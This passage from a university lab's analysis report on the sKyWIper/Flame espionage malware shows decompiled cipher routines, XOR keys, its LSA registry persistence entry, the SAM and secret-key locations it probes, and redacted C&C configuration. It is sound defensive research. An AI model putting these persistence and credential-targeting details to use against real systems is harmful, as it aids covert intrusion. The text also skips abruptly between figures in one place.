__int16)((a1 + 11) * (a1 + 17) & 0xFF00) ^ ((((unsigned int)((a1 + 11) * (a1 + 17)) >> 8) ^ (a1 + 11) * (a1 + 17) & 0xFF0000) >> 8)) >> 8); } Figure 15 \xe2\x80\x93 Encryption E2 \xe2\x80\x93 found in 4091.dll; loaded as \xe2\x80\x9c12Windows Management Instrumentation Configurator\xe2\x80\x9d service soapr32.dll: keygensub_1000C0A2(int a1) { return (a1 + 11) * (a1 + 17) ^ ((unsigned int)((a1 + 11) * (a1 + 17)) >> 8) ^ (((a1 + 11) * (a1 + 17) ^ ((unsigned int)((a1 + 11) * (a1 + 17)) >> 8)) >> 16); } used as stream cipher with \xe2\x80\x9esub\xe2\x80\x9d function: .text:1000C0C6 mov eax, [esp+8+arg_0] .text:1000C0CA lea esi, [edi+eax] .text:1000C0CD mov eax, edi .text:1000C0CF call keygensub_1000C0A2; eax->key one d .text:1000C0D4 sub [esi], al ; sub the calculated key .text:1000C0D6 inc edi .text:1000C0D7 cmp edi, [esp+8+arg_4] .text:1000C0DB jb short loc_1000C0C6 Figure 16 \xe2\x80\x93 Encryption E2B \xe2\x80\x93 found in soapr32.dll unsigned int cipher(unsigned int a1) { return (a1 + 5) * (a1 + 26) ^ ((unsigned int)((a1 + 5) * (a1 + 26)) >> 8) ^ (((a1 + 5) * (a1 + 26) ^ ((unsigned int)((a1 + 5) * (a1 + 26)) >> 8)) >> 16); } .text:1000E895 sub_1000E895 proc near ; CODE XREF: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 26 .text:1000E895 lea ecx, [eax+1Ah] .text:1000E898 add eax, 5 .text:1000E89B imul ecx, eax .text:1000E89E mov edx, ecx .text:1000E8A0 shr edx, 8 .text:1000E8A3 mov eax, edx .text:1000E8A5 xor eax, ecx .text:1000E8A7 shr eax, 10h .text:1000E8AA xor eax, edx .text:1000E8AC xor eax, ecx .text:1000E8AE retn .text:1000E8AE sub_1000E895 endp called as stream cipher in the following way (encryption): .text:1000E8BB loc_1000E8BB: ; CODE XREF: \xef\xbf\xbd.text:1000E8CE j .text:1000E8BB mov eax, [ebp+8] .text:1000E8BE lea esi, [edi+eax] .text:1000E8C1 mov eax, edi .text:1000E8C3 call keygen_sub_1000E895 .text:1000E8C8 add [esi], al .text:1000E8CA inc edi .text:1000E8CB cmp edi, [ebp+0Ch] .text:1000E8CE jb short loc_1000E8BB .text:1000E8D0 pop esi .text:1000E8D1 decryption part difference: .text:1000E8ED sub [esi], al (advnetcfg: sub_1000BD68 ; nteps: sub_1000E895) Figure 17 \xe2\x80\x93Encryption E3 \xe2\x80\x93 found in advnetcfg and nteps32 6411/sub_10003463 v2 = result; if ( a2 ) { v3 = 11 - result; do { result = dword_100420B8 + (v3 + v2) * (v3 + v2 + 12); *(_BYTE *)v2 -= result ^ ((unsigned __int16)((_WORD)dword_100420B8 + (v3 + (_WORD)v2) * (v3 + (_WORD)v2 + 12)) >> 8) ^ ((unsigned int)(dword_100420B8 + (v3 + v2) * (v3 + v2 + 12)) >> 16) ^ ((unsigned int)(dword_100420B8 + (v3 + v2) * (v3 + v2 + 12)) >> 24); ++v2; --a2; } Figure 18 \xe2\x80\x93Encryption E4 \xe2\x80\x93 not clear where it is used Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 27 int __usercall sub_1000D9DC(int result, int a2) { int v2; // esi@1 int v3; // edi@2 v2 = result; if ( a2 ) { v3 = 11 - result; do { result = (v3 + v2) * (v3 + v2 + 6) + 88; *(_BYTE *)v2 -= result ^ ((unsigned __int16)((v3 + (_WORD)v2) * (v3 + (_WORD)v2 + 6) + 88) >> 8) ^ ((unsigned int)((v3 + v2) * (v3 + v2 + 6) + 88) >> 16) ^ ((unsigned int)((v3 + v2) * (v3 + v2 + 6) + 88) >> 24); ++v2; --a2; } while ( a2 ); } return result; Figure 19 \xe2\x80\x93 Encryption E4B -- found in 4748.dll, possibly used on resource 164 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 28 0000000: 4909 caa4 11f3 63f7 2a30 58d8 43eb 3d83 0000010: 626b 542e d0ca 5f07 599a 07ca 556a f059 0000020: 0d17 b7a2 1c8a 4ac9 bc75 c1e6 30fb 898e 0000030: a8e3 51e2 16bd ea65 02e3 a83b 4555 0a3f 0000040: a6e7 ccfb 19b8 72df 5a57 810a 5cce d1a8 0000050: 5ef8 b871 a07a 9db3 0bcf c786 65d9 100e 0000060: 9d54 3445 f52f d9e1 0b66 b885 d165 1ec1 0000070: 0685 0c3a 7cd1 55e1 11db e3b2 5712 41a0 0000080: 836c 1680 054d 852c aec3 1f54 20bf 7ed2 0000090: 7a7c c6f7 220e c0c6 8921 ca51 d0e4 92e6 00000a0: acf4 016c 35ff 79a0 5dac c9ff 7f62 3e9e 00000b0: 070c 629e 9095 11a4 37ef 2b89 0fa5 3df4 00000c0: e0f6 0799 7176 a633 e728 66cb 8826 b714 00000d0: 23dc 0817 9433 e906 d376 16ba 08fa 9841 00000e0: bb6c 82c7 d0d6 4efe a076 a45a 6704 d430 00000f0: 4c64 bff4 d731 cea2 0f7f 3613 9659 b178 0000100: af91 81a2 7325 f22d d3d7 8cb8 ff13 f748 0000110: 9604 41c1 1b19 3d5f 3cc6 e5c2 3635 2731 0000120: dcb9 3c77 9995 38d8 46bc 80d2 f6aa c069 0000130: 0a7b ca91 f2ad 0da2 a45f 966d 7457 9b58 0000140: d78e 6336 d4a3 0d98 a312 23b9 66e3 5a53 0000150: 1134 d01c 1b48 b7e8 8d0b 6a49 c400 27f0 0000160: eef1 fb0e 36ee f395 0277 0bd2 1983 6dfe 0000170: 3666 45fb 98c9 fd5a 300d 7a24 4c46 4861 0000180: c929 09b6 6861 ae81 7a61 2fd0 7121 7c04 0000190: 7809 b5c9 a9d5 670d 9959 1291 58e7 bc54 00001a0: 8111 e1f2 5092 dc54 49b2 622b 7eee a22d 00001b0: bef2 c085 02f6 d4c4 f674 c2de ef1f c626 00001c0: c095 ec9b 2115 d279 6d76 4693 f3c9 41ac 00001d0: a355 1806 0b41 25c8 d853 0579 d404 0bb1 00001e0: 2720 5ab9 755d 2e79 15af 9946 5c42 ea8a 00001f0: e2b8 dd91 7d4c 7c9d f2a7 35a6 09d2 f927 0000200: a826 0a7f d54c 413a af8a 9cb2 4d4e d7c4 0000210: 54b7 ecbb b6ce 5391 62b8 0e59 26e9 671e 0000220: b075 eb6e 6ea3 5a7f 9e66 7d99 4d8c 6184 0000230: 113c 8698 a22c cfb9 2eaf bcf4 fa90 07a3 0000240: 1f17 1217 1115 ac72 031d 380e 1ff5 e374 0000250: 925f 6b71 4831 924d a7dd 2b81 ed45 78f4 0000260: 4385 5ef5 11af 7509 df54 743e c31f 38b3 0000270: afd9 521e a93b ffa6 fd85 c9a6 4ee4 00f6 0000280: 1eb0 9aa3 dfb6 ba3a bd5e 54dd 4ecf 75e7 0000290: 9b4c 7d55 cdb5 4e18 b18c 712b d52f 50cd 00002a0: f9ec 5f2f bd22 73c9 ea85 3b40 91f6 7079 00002b0: 552c 9252 4614 78a3 8edf d7e1 1f21 5db1 00002c0: 280c 843b a23e 4fbe 862f a7f5 400d a7d1 00002d0: a2c8 b165 b728 21f3 7548 afa3 46e0 3422 00002e0: b49f 76b4 239b 3aa0 6fd4 2d2b d7b0 eaed 00002f0: 1656 2416 5132 721e ccdf 50a1 9862 8252 0000300: b080 88a9 9036 ac52 adbc 789f 4c29 537d 0000310: 5413 debd b867 77d8 966b adc6 8871 a14c 0000320: 16f3 f3c4 f8b6 f47a fde5 d4b6 df5d 3518 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 29 0000330: d9e3 c883 3e30 c885 3dcc 110d 1708 bb4b 0000340: d85c e180 3e27 e216 3ed9 0c3b d50c 2432 0000350: dc80 76ec c1ba 4a9f 3419 3482 f2c6 0220 0000360: f004 72e5 83df 5711 4f20 50c6 778d 6af6 0000370: 5063 d245 8987 89a3 0f9a 5f97 be52 459e 0000380: bd87 7276 0ca3 2873 597d 61a7 0a80 5475 0000390: 660e c136 6730 f151 7d3b ce5e 968f a227 00003a0: ec52 f10c 475c dbf3 4a86 abad e1d2 22b5 00003b0: c5c3 4cea 347d 063a 27ac cb61 82c5 1822 00003c0: 95c4 211b e1bc 4870 7fe7 5e87 1aec a435 00003d0: 1bf1 5a9b 0523 2767 93df 0ddb 1247 9509 00003e0: 3801 8437 c626 ffe4 a773 da85 1d61 b45f 00003f0: 0630 fa64 264b 7277 d286 6453 5c81 e9e9 Figure 20 \xe2\x80\x93 Encryption E5 -- ~DEB93D encryption key, 1024 byte XOR key used repeatedly Encryption key E5 might be calculated, but it can also be found in attack tables in memory dumps. Simple XOR with a constant is also used to \xe2\x80\x9cencrypt\xe2\x80\x9d files in multiple places. For instance, Boot32drv.sys is an encrypted data file with simple XOR with 0xFF. to691.tmp is always among the first files that was installed into infected systems. The file contains configuration data and log results, very similar to the audcache.dat, but it is encrypted in a different way, as follows. to691.tmp is encrypted cyclically by XOR-ing with a 16-byte long binary string. The string was found to be individual on the samples. As the cleartext file contains many 0x00 characters, the XOR key can be easily found by statistical means. The method is described in Figure 21 as Encryption E6A. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 30 for i=0..15: take all characters from file at n*16+i generate statistics on characters key[i]=find most common character for i=0..filesize: decrypted[i]=encrypted[i] XOR key[i%16] Figure 21 \xe2\x80\x93Encryption E6A \xe2\x80\x93 TO691 1 st stage generic decryption pseudocode The decrypted text after E6A is still not cleartext database format, but one can easily see that it is very similar to the file format of audcache.dat (after decryption). The second stage is a mono-alphabetical substitution, for which it may not be impossible to find a short mathematical formula to calculate the substitutions, but so far we were not able to find that. Instead, we manually investigated the file and built a partial substitution table on the characters used. The partial table is denoted as E6B in Figure 22. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 31 0 0 1 2 3 4 5 6 79 7 8 9 A B 6a C 69 D E F 10 2e 11 12 13 37 14 15 36 16 17 18 57 19 55 1A 41 1B 1C 1D 1E 1F 20 21 22 23 24 6D 25 55 26 27 30 28 29 2A 2B 6c 2C 6e 2D 2E 44 2F 30 6F 31 32 73 33 34 78 35 58 36 37 38 39 ED 3A 3B B0 3C 3D 3E 3F 40 41 42 43 6c 44 45 2c 46 47 48 68 49 4A 4B 2d 4C 2f 4D 4E 4F 50 51 38 52 53 54 55 56 57 58 59 45 5A 47 5B 5C 5D 5E 5F 20 60 61 62 63 52 64 65 35 66 3f 67 68 69 6A 49 6B 6C 64 6D 57 6E 6F 70 71 72 73 32 74 75 2d 76 77 78 79 7A 7B 7C 4D 7D 54 7E 7F 80 4f 81 82 83 84 7e 85 86 42 87 88 89 8A 33 8B 8C 8D 8E 8F 34 90 51 91 76 92 93 BA 94 95 46 96 97 70 98 99 9A 9B 4a 9C 4e 9D 9E 3e 9F A0 A1 75 A2 A3 A4 62 A5 6b A6 A7 3A A8 A9 7d AA AB AC 63 AD 67 AE AF B0 B1 B2 B3 B4 B5 31 B6 B7 B8 FE B9 72 BA BB 32 BC BD 66 BE BF C0 43 C1 C2 74 C3 C4 C5 C6 C7 C8 C9 CA CB 53 CC CD CE 48 CF 77 D0 D1 5b D2 D3 D4 D5 50 D6 D7 D8 D9 DA 4c DB DC DD 56 DE 59 DF E0 4b E1 5d E2 E3 E4 E5 E6 65 E7 FF E8 E9 EA EB EC ED EE EF F0 F1 F2 F3 F4 F5 25 F6 F7 7a F8 F9 FA 5f FB 61 FC FD FE 5C FF Figure 22 \xe2\x80\x93Encryption E6B \xe2\x80\x93 TO691 2nd stage substitution table \xe2\x80\x93 known elements (left: cipher character, right: cleartext character) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 32 We also share some samples with the encryptions above to make it easier to pinpoint the encryption algorithm: 0000000000: FF F5 FF FF FF FE FE 23 \xe2\x94\x82 FC FF FF FE 6F FE FF E4 \xcb\x99\xc5\x91\xcb\x99\xcb\x99\xcb\x99\xc5\xa3\xc5\xa3#\xc3\xbc\xcb\x99\xcb\x99\xc5\xa3o\xc5\xa3\xcb\x99\xc3\xa4 0000000010: CE 4C 3E 00 00 00 00 00 \xe2\x94\x82 00 00 FD FB FF FF FF 46 \xc3\x8eL> \xc3\xbd\xc5\xb1\xcb\x99\xcb\x99\xcb\x99F Figure 23 \xe2\x80\x93 Sample for encryption/encoding boot32drv.sys \xe2\x80\x93 simple XOR with 0xFF 0000000000: 75 EA EA EA FA 15 66 EA \xe2\x94\x82 EE 15 66 EA EA EA E0 EA u\xc4\x99\xc4\x99\xc4\x99\xc3\xba\xc2\xa7f\xc4\x99\xc3\xae\xc2\xa7f\xc4\x99\xc4\x99\xc4\x99\xc5\x95\xc4\x99 0000000010: EA F7 EF FC 24 EA EA EA \xe2\x94\x82 0D 0D 0D 0D 91 EA EA EA \xc4\x99\xc3\xb7\xc4\x8f\xc3\xbc$\xc4\x99\xc4\x99\xc4\x99\xe2\x99\xaa\xe2\x99\xaa\xe2\x99\xaa\xe2\x99\xaa'\xc4\x99\xc4\x99\xc4\x99 Figure 24 \xe2\x80\x93 Sample for encryption/encoding made with encryption E1; 0xEA \xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd 0x00 4.2. Registry parts The malware does not modify too many registry keys as most information, data, configuration are stored in files. The affected registry entries are the following: \xe2\x80\xa2 For installations and startup, LSA is abused: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Autenthication Packages will contain in new line mssecmgr.ocx: [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa] ""Authentication Packages""=hex(7):6d,00,73,00,76,00,31,00,5f,00,30,00,00,00,6d,\\ 00,73,00,73,00,65,00,63,00,6d,00,67,00,72,00,2e,00,6f,00,63,00,78,00,00,00,\\ 00,00 \xe2\x80\xa2 For some communications between processes wave8 and wave9 are used. Wave8 possibly stores some PID, but this is just a guess. Wave9 is a name for the stored version of the \xe2\x80\x9cmain module\xe2\x80\x9d: 23:34:34,1794024 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 NAME NOT FOUND Length: 536 23:35:05,5405919 wmiprvse.exe 2472 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 NAME NOT FOUND Length: 536 23:35:39,6297465 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 NAME NOT FOUND Length: 144 23:35:39,6299138 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 NAME NOT FOUND Length: 144 23:35:39,6300097 rundll32.exe 2388 RegSetValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6302820 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 33 23:35:39,6313420 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6314414 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6314604 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6315540 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6315727 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6332115 rundll32.exe 2388 RegSetValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 SUCCESS Type: REG_SZ, Length: 102, Data: c:\\progra~1\\common~1\\micros~1\\msaudio\\wavesup3.drv 23:35:50,6732679 alg.exe 2848 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 SUCCESS Type: REG_SZ, Length: 102, Data: c:\\progra~1\\common~1\\micros~1\\msaudio\\wavesup3.drv 23:35:50,6733205 alg.exe 2848 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 SUCCESS Type: REG_SZ, Length: 102, Data: c:\\progra~1\\common~1\\micros~1\\msaudio\\wavesup3.drv 23:36:17,4627767 services.exe 748 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave9 SUCCESS Type: REG_SZ, Length: 102, Data: c:\\progra~1\\common~1\\micros~1\\msaudio\\wavesup3.drv Figure 25 \xe2\x80\x93 Wave9 communications 23:34:29,5181519 wmiprvse.exe 2248 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 NAME NOT FOUND Length: 536 23:34:34,1793845 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 NAME NOT FOUND Length: 536 23:35:05,5405737 wmiprvse.exe 2472 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 NAME NOT FOUND Length: 536 23:35:39,6273171 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 NAME NOT FOUND Length: 144 23:35:39,6277806 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 NAME NOT FOUND Length: 144 23:35:39,6278907 rundll32.exe 2388 RegSetValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6292151 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6293931 rundll32.exe 2388 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6294881 rundll32.exe 2388 RegSetValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:50,6732487 alg.exe 2848 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:36:17,4627582 services.exe 748 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:36:17,5738388 services.exe 748 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:36:23,7643698 iexplore.exe 3240 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 34 23:36:43,0717217 iexplore.exe 3520 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:37:02,2292562 iexplore.exe 3632 RegQueryValue HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: Figure 26 \xe2\x80\x93 Wave8 communications 4.3. Compression and table formats The file ntcache.dat found among the DAT files contains logs from the inspected target computer. However, there are references for ntcache.dat as SFS Storage. STORAGE.SFS.FILES.ntcache?dat.REINITIALIZE_ME STORAGE.SFS.FILES.ntcache?dat.DELETE_ME STORAGE.SFS.FILES.lmcache?dat.MAX_SIZE STORAGE.SFS.FILES.lmcache?dat.BACKUPsKyWIper Figure 27 \xe2\x80\x93Winlogon.exe with injected code working with ccalc32.sys - procmon We present the beginning of the binary format for ntcache.dat below. 0000000000: 02 30 30 30 30 30 30 31 \xe2\x94\x82 45 5C 30 30 30 30 30 30 \xe2\x98\xbb0000001E\\000000 0000000010: 30 30 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 00 0000000020: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 0000000030: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 0000000040: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 0000000050: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 0000000060: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 0000000070: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 0000000080: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 0000000090: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 00000000A0: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 00000000B0: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 00000000C0: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 00000000D0: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 00000000E0: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 00000000F0: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 00 00 00 00 0000000100: 00 96 02 00 00 E6 57 1B \xe2\x94\x82 5B 5E 88 CC 01 01 00 00 \xc4\xbe\xe2\x98\xbb \xc5 W\xe2\x86\x90[^\xc5\x82\xe2\x95 \xe2\x98\xba\xe2\x98\xba 0000000110: 00 28 01 0A 00 00 00 FF \xe2\x94\x82 FF 00 00 43 00 4D 00 44 (\xe2\x98\xba\xe2\x97\x99 C M D 0000000120: 00 02 00 00 00 33 00 0C \xe2\x94\x82 00 00 00 FF FF 00 00 44 \xe2\x98\xbb 3 \xe2\x99\x80 D 0000000130: 00 45 00 53 00 43 00 0C \xe2\x94\x82 00 00 00 42 00 47 00 66 E S C \xe2\x99\x80 B G f 0000000140: 00 4C 00 6F 00 77 00 2A \xe2\x94\x82 00 00 00 FF FF 00 00 52 L o w * R 0000000150: 00 45 00 51 00 55 00 45 \xe2\x94\x82 00 53 00 54 00 45 00 44 E Q U E S T E D 0000000160: 00 5F 00 46 00 49 00 4C \xe2\x94\x82 00 45 00 5F 00 4E 00 41 _ F I L E _ N A Figure 28 \xe2\x80\x93 Binary format of ntcache.dat (beginning) We could not decide if the format is custom or just some strange binary format. A comparison with ~HLV473.tmp, a file that contains a list of running processes, reveals the sequences \xe2\x80\x9c78 DA ED\xe2\x80\x9d and \xe2\x80\x9c78 DA 73\xe2\x80\x9d standing for a zlib inflate compressed format. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 35 0000000EF0: 00 00 00 00 00 00 00 00 \xe2\x94\x82 00 00 00 00 2B A0 80 B1 +\xc3\xa1\xc3\x87\xe2\x96\x92 0000000F00: 01 06 00 00 00 78 DA ED \xe2\x94\x82 9D 5B 6C 1D C7 79 C7 F7 \xe2\x98\xba\xe2\x99 x\xe2\x94\x8c\xc3\x9d\xc5\x81[l\xe2\x86\x94\xc4\x83y\xc4\x83\xc2\xb8 0000000F10: 90 94 A2 9B 15 56 37 D3 \xe2\x94\x82 94 AA 9E 28 B2 2C 2B 0A \xc3\x89\xc3\xb6\xc3\xb3\xc5\xa4\xc2\xa7V7\xc3\x8b\xc3\xb6\xc2\xac\xc3\x97(\xe2\x96\x93,+\xe2\x97\x99 Figure 29 \xe2\x80\x93 \xe2\x80\x9c78 DA ED\xe2\x80\x9d compressed record in ntcache.dat 0000000000: 78 DA 73 E0 67 60 E0 65 \xe2\x94\x82 60 60 60 01 E2 FF FF 19 x\xc3\x9as\xc5\x95g`\xc5\x95e```\xe2\x98\xba\xc3\xa2\xcb\x99\xcb\x99\xe2\x86\x93 0000000010: 18 18 81 34 63 02 1B 03 \xe2\x94\x82 03 3F 10 E8 00 39 22 40 \xe2\x86\x91\xe2\x86\x91?4c\xe2\x98\xbb\xe2\x86\x90\xe2\x99\xa5\xe2\x99\xa5?\xe2\x96\xba\xc4\x8d 9""@ 0000000020: CC 03 C4 1C 40 3C 81 E5 \xe2\x94\x82 BE 64 68 DB 19 90 1A B0 \xc4\x9a\xe2\x99\xa5\xc3\x84\xe2\x88\x9f@ files in /windows/temp. This operation seems to be automatic, but perhaps it may also be remotely controlled. These files are encrypted with the E1 encryption algorithm (see above). After decryption, the file appears to be an SQLite3 database, storing information on drivers, directories, and file names. Figure 37 \xe2\x80\x93 SQLite database format for ~rf files [file db] Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 39 Figure 38 \xe2\x80\x93File list of the file system in the ~rf files Discussion: Storing full directory listing in SQLite databases is something you won\xe2\x80\x99t expect from a malware. It\xe2\x80\x99s very strange as it raises complexity and the need for space, and in addition it leaks information through the database structure. Note that the \xe2\x80\x9cSQLite browser\xe2\x80\x9d application cannot see full filenames as they are stored in Unicode format in blob entries, and the first \\x00 stops viewing them. 4.6. Saving additional information The malware is curious about lot of things. Some examples from the long list of interests are shown in the figure below: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 40 HKLM\\Security\\Policy\\PolSecretEncryptionKey \xe2\x80\x93 string double compressed in res146 select * from CIM_HostedAccessPoint\xe2\x86\x91 ? root\\cimv2\xe2\x96\xb2 ? Access PointsW \xe2\x80\x93string from res146, compressed F HKIU\\Software\\Microsoft\\office -?? res146 compressed string HKIU\\Software\\Adobe\\Adobe Acrobat \xe2\x80\x93 surely interesting from propagation perspective. res146 compressed string HKIU\\Network \xe2\x80\x93 res146 compressed string HKLM\\SAM\\SAM\\Domains\\Account\\F\xe2\x99\xa5 P \xe2\x80\x93 string from res146 compressed strings Figure 39 \xe2\x80\x93 Items the malware is interested in Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 41 5. C&C communication C&C communication is defined under the name GATOR. Resource 146 contains key-value pairs or templates related to GATOR configuration. GATOR.CMD.SUCCESS_VALIDITY GATOR.LEAK.MIN_BYTES_TO_LEAK GATOR.LEAK.SUICIDE_LOG_LEAK_SIZE GATOR.LEAK.BANDWITH_CALCULATOR.LEAK_SECS GATOR.INTERNET_CHECK.MIN_TIME_BETWEEN_CHECKS GATOR.INTERNET_CHECK.CURRENT_FAILURES_COUNT GATOR.INTERNET_CHECK.SERVERS.size GATOR.INTERNET_CHECK.SERVERS.1.prev GATOR.INTERNET_CHECK.SERVERS.1.next GATOR.INTERNET_CHECK.SERVERS.1.data GATOR.INTERNET_CHECK.SERVERS.1.data.TIMEOUT GATOR.INTERNET_CHECK.SERVERS.1.data.URL GATOR.INTERNET_CHECK.SERVERS.1.data.VALIDITY (servers are stored in the file from 1 to 6) GATOR.SERVERS.size GATOR.SERVERS.first GATOR.SERVERS.last GATOR.SERVERS.free GATOR.SERVERS.1.prev GATOR.SERVERS.1.next GATOR.SERVERS.1.prev GATOR.SERVERS.1.data.USESSL GATOR.SERVERS.1.data.PORT GATOR.SERVERS.1.prev GATOR.SERVERS.1.prev GATOR.SERVERS.1.prev GATOR.SERVERS.1.prev GATOR.SERVERS.1.prev (gator servers are defined from 1 to 5) Figure 40 \xe2\x80\x93 Gator communication related data in resource 146 of mssecmgr.ocx (main module) We received information of more than 50 different domain names related to the C&C communication and more than 15 distinct IP addresses. C&C servers are changed frequently by changing the IP address of the particular host/domain name (the well-known fluxing technique used by botnets). Many more configuration settings and logs for C&C communications can be found in the to691.tmp file. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 42 C:\\Program Files\\Common Files\\Microsoft Shared\\MSAuthCtrl\\secindex.dat https://XXXX.info:443/cgi-bin/counter.cgi https://XXXX.info:443/cgi-bin/counter.cgi \xe2\x80\xa6 GATOR.SERVERS.1.data.SITE SINGLE_CMD_RUNNER GATOR.SERVERS.1.data.SITE XXXX.info->XXXXX.com GATOR.SERVERS.1.data.URL cgi-bin/counter.cgi->wp-content/rss.php \xe2\x80\xa6 GATOR.SERVERS.-1.SITE [NoValue]->XXXX.info GATOR.SERVERS.-1.USESSL [NoValue]->False GATOR.SERVERS.-1.TIMEOUT [NoValue]->180000 GATOR.SERVERS.-1.URL 